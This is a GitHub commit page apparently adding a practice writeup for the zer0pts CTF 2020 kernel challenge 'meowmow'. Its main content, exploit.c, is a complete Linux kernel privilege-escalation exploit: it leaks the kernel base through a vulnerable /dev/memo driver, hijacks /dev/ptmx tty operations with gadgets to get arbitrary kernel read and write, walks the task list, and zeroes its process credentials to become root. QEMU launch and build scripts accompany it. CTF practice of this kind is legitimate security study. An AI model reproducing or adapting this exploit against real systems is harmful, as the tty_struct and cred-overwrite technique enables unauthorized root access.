Skip to content

Commit fe8894b

Browse files
committed
Updated zer0pts writeup (practice)
1 parent 3730df9 commit fe8894b

File tree

7 files changed

+99
-0
lines changed

7 files changed

+99
-0
lines changed

2020/zer0pts-CTF/meowmow/bzImage

8.96 MB
Binary file not shown.

2020/zer0pts-CTF/meowmow/exploit.c

+84
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
#include <stdio.h>
2+
#include <fcntl.h>
3+
#include <unistd.h>
4+
#include <sys/ioctl.h>
5+
6+
unsigned long buf[0x1000];
7+
int fd, fd2, fd3;
8+
unsigned long kbuf, base, gadget;
9+
10+
unsigned arb_read(char *ptr) {
11+
// 0xffffffff814369a3 : mov eax, dword ptr [rdx] ; ret
12+
unsigned long gadget = base + 0x4369a3;
13+
for (int i = 0; i < 0x100; ++i) {
14+
lseek(fd, i*8, SEEK_SET);
15+
write(fd, &gadget, 8);
16+
}
17+
return ioctl(fd2, 123, ptr);
18+
}
19+
20+
unsigned long arb_read64(char *ptr) {
21+
return arb_read(ptr) + ((unsigned long)arb_read(ptr+4) << 32);
22+
}
23+
24+
void arb_write(char *ptr, int val) {
25+
// 0xffffffff810a0333 : mov dword ptr [rdx], esi ; ret
26+
unsigned long gadget = base + 0xa0333;
27+
for (int i = 0; i < 0x100; ++i) {
28+
lseek(fd, i*8, SEEK_SET);
29+
write(fd, &gadget, 8);
30+
}
31+
ioctl(fd2, val, ptr);
32+
}
33+
34+
int main() {
35+
fd = open("/dev/memo", O_RDWR);
36+
lseek(fd, 0x3f0, SEEK_SET);
37+
read(fd, buf, 0x100);
38+
kbuf = buf[2] - 2*0x400;
39+
40+
fd2 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
41+
lseek(fd, 0x3f0, SEEK_SET);
42+
read(fd, (char *)buf, 0x100);
43+
base = buf[5] - 0xe65900;
44+
45+
printf("0x%lx 0x%lx\n", kbuf, base);
46+
47+
buf[5] = kbuf;
48+
lseek(fd, 0x3f0, SEEK_SET);
49+
write(fd, (char *)buf, 0x100);
50+
51+
unsigned long curr = base + 0x1211740; // init_task
52+
int tasks_offset = 0x388;
53+
int pid_offset = 0x488;
54+
int comm_offset = 0x628;
55+
int cred_offset = 0x618;
56+
int pid = getpid();
57+
char comm[0x10];
58+
59+
while(1) {
60+
*(unsigned long *)comm = arb_read64(curr + comm_offset);
61+
*((unsigned long *)comm + 1) = arb_read64(curr + comm_offset + 8);
62+
printf("TASK: %s @ %lx\n", comm, curr);
63+
64+
int task_pid = arb_read(curr + pid_offset);
65+
if (pid == task_pid) break;
66+
67+
curr = arb_read64(curr + tasks_offset) - tasks_offset;
68+
}
69+
70+
unsigned long cred = arb_read64(curr + cred_offset);
71+
for (int i = 0; i < 8; ++i) {
72+
arb_write(cred + 4 + i*4, 0);
73+
}
74+
75+
int uid, euid, suid;
76+
getresuid(&uid, &euid, &suid);
77+
printf("uid: %d, euid: %d, suid: %d\n", uid, euid, suid);
78+
79+
char flag[0x100];
80+
fd3 = open("/flag", O_RDONLY);
81+
read(fd3, flag, 0x100);
82+
printf("flag: %s\n", flag);
83+
while(1); // since we overwrite all func handler(including ttyrelease), hang program here
84+
}

2020/zer0pts-CTF/meowmow/memo.ko

7.47 KB
Binary file not shown.
4.1 MB
Binary file not shown.

2020/zer0pts-CTF/meowmow/rootfs.cpio

3.29 MB
Binary file not shown.

2020/zer0pts-CTF/meowmow/start.sh

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#!/bin/sh
2+
qemu-system-x86_64 \
3+
-m 256M \
4+
-kernel ./bzImage \
5+
-initrd ./modified.cpio \
6+
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
7+
-cpu kvm64,+smep,+smap \
8+
-monitor /dev/null \
9+
-nographic -s

2020/zer0pts-CTF/meowmow/test.sh

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
gcc exploit.c -static -o exp
2+
cp exp rootfs
3+
cd rootfs
4+
find . | cpio -o --format=newc > ../modified.cpio
5+
cd ..
6+
./start.sh

0 commit comments

Comments
 (0)